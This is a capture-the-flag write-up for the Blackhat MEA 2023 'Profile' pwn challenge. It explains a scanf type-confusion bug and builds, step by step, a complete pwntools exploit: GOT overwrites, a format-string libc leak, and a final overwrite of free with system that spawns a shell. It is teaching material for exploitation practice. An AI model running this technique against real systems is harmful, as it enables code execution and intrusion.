Published on

Blackhat MEA '23 Quals - Pwn - Profile

Authors

Challenge Description

Alt text

Solution

Alt text

So, we can see that PIE is disabled and we have Partial RELRO which means that we can overwrite the Global Offset Table (GOT). We can study more about Relocation Read-Only (RELRO) in this link.

Let's statically analyze the source code to check for any apparent vulnerabilities.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

struct person_t {
  int id;
  int age;
  char *name;
};

void get_value(const char *msg, void *pval) {
  printf("%s", msg);
  if (scanf("%ld%*c", (long*)pval) != 1)
    exit(1);
}

void get_string(const char *msg, char **pbuf) {
  size_t n;
  printf("%s", msg);
  getline(pbuf, &n, stdin);
  (*pbuf)[strcspn(*pbuf, "\n")] = '\0';
}

int main() {
  struct person_t employee = { 0 };

  employee.id = rand() % 10000;
  get_value("Age: ", &employee.age);
  if (employee.age < 0) {
    puts("[-] Invalid age");
    exit(1);
  }
  get_string("Name: ", &employee.name);
  printf("----------------\n"
         "ID: %04d\n"
         "Name: %s\n"
         "Age: %d\n"
         "----------------\n",
         employee.id, employee.name, employee.age);

  free(employee.name);
  exit(0);
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  srand(time(NULL));
}

So, we can see that the program is firstly initializing the employee structure with a random id and then asking for the age and name of the employee. Then it's printing the id, name and age of the employee. Then it's freeing the name of the employee. The bug exists in the get_value function:

void get_value(const char *msg, void *pval) {
  printf("%s", msg);
  if (scanf("%ld%*c", (long*)pval) != 1)
    exit(1);
}

The problem here is, we're using scanf to invoke the long format specifier to read the input. But, we're typecasting the void pointer to long pointer. This is a problem because the size of long is 8 bytes and the size of int is 4 bytes. So, we can overflow the id variable and overwrite the age variable. The invocation of get_value function which is vulnerable is:

get_value("Age: ", &employee.age);

This gives us an integer overflow, but. Since, age is part of the struct person_t, it allows us to overwrite the name attribute which is of type char* meaning we can overwrite the pointer itself and make it point to anything that we can.

struct person_t {
  int id;
  int age;
  char *name;
};

Because of this overwrite of the pointer, we can write whatever we want and essentially gaining an arbitrary write primitive.

Now, in order to exploit this, we must follow the following path:

  1. Overwrite a function in GOT to give us an N number of writes i.e. overwriting with main.
  2. Overwrite another function in GOT with printf to give us an fsb vulnerability
  3. Leak the libc address using the fsb vulnerability
  4. Overwrite the free function in GOT with system to get a shell.

Theoretically, this is the path that we must follow. Let's try and implement each of these steps.

Overwriting a function in GOT to give us an N number of writes

For this to work, we must firstly start by the integer overflow we had found during our static analysis. Now, again, analysing the code, we can see that in the main, after invoking everything, we're calling free, and free function does exist in the GOT table. So, we can overwrite the free function with main which will give us an N number of arbitary writes.

main
int main() {
  struct person_t employee = { 0 };

  employee.id = rand() % 10000;
  get_value("Age: ", &employee.age);
  if (employee.age < 0) {
    puts("[-] Invalid age");
    exit(1);
  }
  get_string("Name: ", &employee.name);
  printf("----------------\n"
         "ID: %04d\n"
         "Name: %s\n"
         "Age: %d\n"
         "----------------\n",
         employee.id, employee.name, employee.age);

  free(employee.name);
  exit(0);
}

Now, for integer overflow, I wrote a simple function in python that will take an address, and then bit shift it to the left by 32 bits and then add 1 to it, this will allow us to overflow the id variable and overwrite the age variable's pointer.

def overflow(addr: int):
    return str((addr << 32) + 1)

Now, this will do the overflow, the next thing we need to do is to overwrite the data at the address i.e. we need to write the address of the function at this overflown address. The exploit.py, so far becomes:

#!/usr/bin/env python3

from pwn import *

def overflow(addr: int):
	return str((addr << 32) + 1)

elf = context.binary = ELF("./profile")
io = process()

p.sendlineafter(b"Age", overflow(elf.got.free))
p.sendlineafter(b"Name: ", p32(0x41424344))

Now, I ran this script using the GDB and set the breakpoints at free and main to check the values, the exploit.py script becomes:

#!/usr/bin/env python3

from pwn import *

def overflow(addr: int):
    return str((addr << 32) + 1).encode()

context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF("./profile")
# io = process()

gdbscript = '''
init-pwndbg
b *main
b *free
continue
'''
io = gdb.debug(['./profile'], gdbscript=gdbscript)

io.sendlineafter(b"Age", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(0x41424344))

Now, when running this, i got the following output

Alt text

One thing that I noticed, was that each address was of 3-bytes, (Notice RSP i.e. 0x401461), so for each of the address, I did [:-1] to remove the last byte. This will allow us to write the address correctly.

Now, since we know that our integer overflow is allowing us to arbitrary overwrite free, instead of 0x41424344, let's overwrite it to main, and see if we can get an N number of writes.

## Keeping the rest of the exploit same:
io.sendlineafter(b'Name: ', p32(elf.sym.main))
Alt text

We got an error, Invalid address 0xa0040138c. The problem here is, as we already noticed before is that each address is of 3 bytes, (once again noticing the: RSP 0x7ffd4060db58 —▸ 0x401461 (main+213)). And the main address is: 0xa0040138c. If we simply print out elf.sym.main, we get:

log.info("Main Address: %#x" % elf.sym.main)
Alt text

So, in order to fix this, we must limit the output to 3 bytes only. We can do this by using the [:-1] when 32-bit-packing the address or, [:3]. Both of this will do the same thing. The updated exploit.py becomes:

#!/usr/bin/env python3

from pwn import *

def overflow(addr: int):
	return str((addr << 32) + 1).encode()

context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF("./profile")
# io = process()

gdbscript = '''
init-pwndbg
b *main
b *free
continue
'''
io = gdb.debug(['./profile'], gdbscript=gdbscript)

io.sendlineafter(b"Age", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])
Alt text

By running this, we can see that free has been overwritten with main. Giving us an N number of writes. Now, we can move on to the next step.

Overwriting another function in GOT with printf to give us an fsb vulnerability and hence gives us leaks

Now, since we have N functions of arbitrary writes, we can easily overwrite as many primitives as we want.

During solving, I tried to overwrite exit with main, but it didn't work, it just crashed. So, to fix this, I overwrote free with main and then overwrote exit with main. And then, finally overwriting free with printf to give us the Format String Bug.

Now, firstly, what we need to do, is simply overwrite exit with main, as that will help us maintain the N number of writes. After that, what we need to do, is overwrite free with printf because we control the name variable, and this can give us the Format String Bug because we can directly pass the pointer's data as input to printf function. Therefore, the next thing which we'll pass is simply "HELLO|%p|%p", to the Name input, which will print HELLO and two addresses. (As we have overwritten free with printf).

So, keeping this in mind, the updated exploit.py becomes:

#!/usr/bin/env python3

from pwn import *

def overflow(addr: int):
	return str((addr << 32) + 1).encode()

context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF("./profile")
io = process()

log.info("Overwriting free(%#x) with main(%#x)" % (elf.got.free, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])

log.info("Overwriting exit(%#x) with main(%#x)" % (elf.got.exit, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.exit))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])

log.info("Overwriting free(%#x) with printf(%#x)" % (elf.got.free, elf.sym.printf))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.printf)[:3])

io.sendlineafter(b"Age: ", b"1")
io.sendlineafter(b"Name: ", b"HELLO|%p|%p")

print(io.recv())

Alt text

Well, we can now see that HELLO, along with two memory addresses (one is nil) has been printed out. This confirms that we have successfully overwritten free with printf and we have the Format String Bug.

Leaking the libc address using the fsb vulnerability

Now, we have a Format String Bug, which can give us address leaks. What we have to do now, is find the base-address of the binary or libc. So, for that, let's try and send 20 %p's and see what we get.

io.sendlineafter(b"Name: ", b"HELLO|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|")

Now, in order to see what these addresses are, we will attach gdb to our process, this will become:

gdb.attach(io, "init-pwndbg")
Alt text

Now, we got quite a lot of addresses leaked. Now, let's see in gdb, firstly the memory mapping i.e. where each address is mapped to within the binary, we can use vmmap command in pwndbg

Alt text

Now, since we're looking for a libc leak, we need to find addresses that start with 0x7face prefix

NOTE: This address will change at each run because of ASLR, therefore we simply need to subtract the leaked address with the current base of LIBC. On each launch, the leaked value will be offset away from the base of libc.

Alt text

Now, we can see that 0x7face7104a37 belongs to libc and is found at offset 3. Let's see in GDB, where this address is mapped to

Alt text

Now, the base of libc is:

Alt text

i.e.

p/x 0x7face7104a37-0x7face6ff0000
Alt text

Now, at each run, the base of libc will 0x114a37 away from the leaked address. So, we can simply subtract the leaked address with 0x114a37 to get the base of libc. Our updated exploit becomes:

#!/usr/bin/env python3

from pwn import *
import re

def overflow(addr: int):
	return str((addr << 32) + 1).encode()

context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF("./profile")
libc = elf.libc
io = process()

log.info("Overwriting free(%#x) with main(%#x)" % (elf.got.free, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])

log.info("Overwriting exit(%#x) with main(%#x)" % (elf.got.exit, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.exit))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])

log.info("Overwriting free(%#x) with printf(%#x)" % (elf.got.free, elf.sym.printf))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.printf)[:3])

io.sendlineafter(b"Age: ", b"1")
io.sendlineafter(b"Name: ", b"HELLO|%3$p|")

data = io.recvuntil(b'|Age')
''' Getting only the address '''
leak = ''.join(re.findall("HELLO|(.*?)|Age", data.decode())).split('|')[-2]
leak = int(leak, 16)

libc.address = leak - 0x114a37
log.info("Libc base: %#x" % libc.address)

Overwriting the free function in GOT with system to get a shell

Now, we have the libc base, we can simply overwrite the free function with system to get a shell. The updated exploit becomes:

#!/usr/bin/env python3

from pwn import *
import re

def overflow(addr: int):
	return str((addr << 32) + 1).encode()

context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF("./profile")
libc = elf.libc
io = process()

log.info("Overwriting free(%#x) with main(%#x)" % (elf.got.free, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])

log.info("Overwriting exit(%#x) with main(%#x)" % (elf.got.exit, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.exit))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])

log.info("Overwriting free(%#x) with printf(%#x)" % (elf.got.free, elf.sym.printf))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.printf)[:3])

io.sendlineafter(b"Age: ", b"1")
io.sendlineafter(b"Name: ", b"HELLO|%3$p|")

data = io.recvuntil(b'|Age')
''' Getting only the address '''
leak = ''.join(re.findall("HELLO|(.*?)|Age", data.decode())).split('|')[-2]
leak = int(leak, 16)

libc.address = leak - 0x114a37
log.info("Libc base: %#x" % libc.address)

log.info("Overwriting free(%#x) with printf(%#x)" % (elf.got.free, elf.sym.printf))
io.sendlineafter(b": ", overflow(elf.got.free))
io.sendlineafter(b': ', p64(libc.sym["system"]))

io.clean()

io.interactive()

Now, running this, we will firstly type the age i.e. 69 (nice). And then, we will type the name as /bin/sh and then we will get a shell.

Alt text

let's add this in our script as well:

io.sendline("69")
io.sendline("/bin/sh")

Now, since we don't have access to the remote, let's setup the provided docker and run this exploit against the docker so that we can confirm that the exploit works remotely.

Alt text

Therefore, the final exploit is:

#!/usr/bin/env python3

from pwn import *
import re

def overflow(addr: int):
	return str((addr << 32) + 1).encode()

context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF("./profile_patched")
libc = elf.libc
io = process()
# io = remote("localhost", 5000)

log.info("Overwriting free(%#x) with main(%#x)" % (elf.got.free, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])

log.info("Overwriting exit(%#x) with main(%#x)" % (elf.got.exit, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.exit))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])

log.info("Overwriting free(%#x) with printf(%#x)" % (elf.got.free, elf.sym.printf))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.printf)[:3])

io.sendlineafter(b"Age: ", b"1")
io.sendlineafter(b"Name: ", b"HELLO|%3$p|")

data = io.recvuntil(b'|Age')
''' Getting only the address '''
leak = ''.join(re.findall("HELLO|(.*?)|Age", data.decode())).split('|')[-2]
leak = int(leak, 16)

libc.address = leak - 0x114a37
log.info("Libc base: %#x" % libc.address)

log.info("Overwriting free(%#x) with printf(%#x)" % (elf.got.free, elf.sym.printf))
io.sendlineafter(b": ", overflow(elf.got.free))
io.sendlineafter(b': ', p64(libc.sym["system"]))
io.sendline(b"69")
io.sendline(b"/bin/sh")
io.clean()
io.interactive()

Overall, very good challenge. I learned quite a new few neat tricks.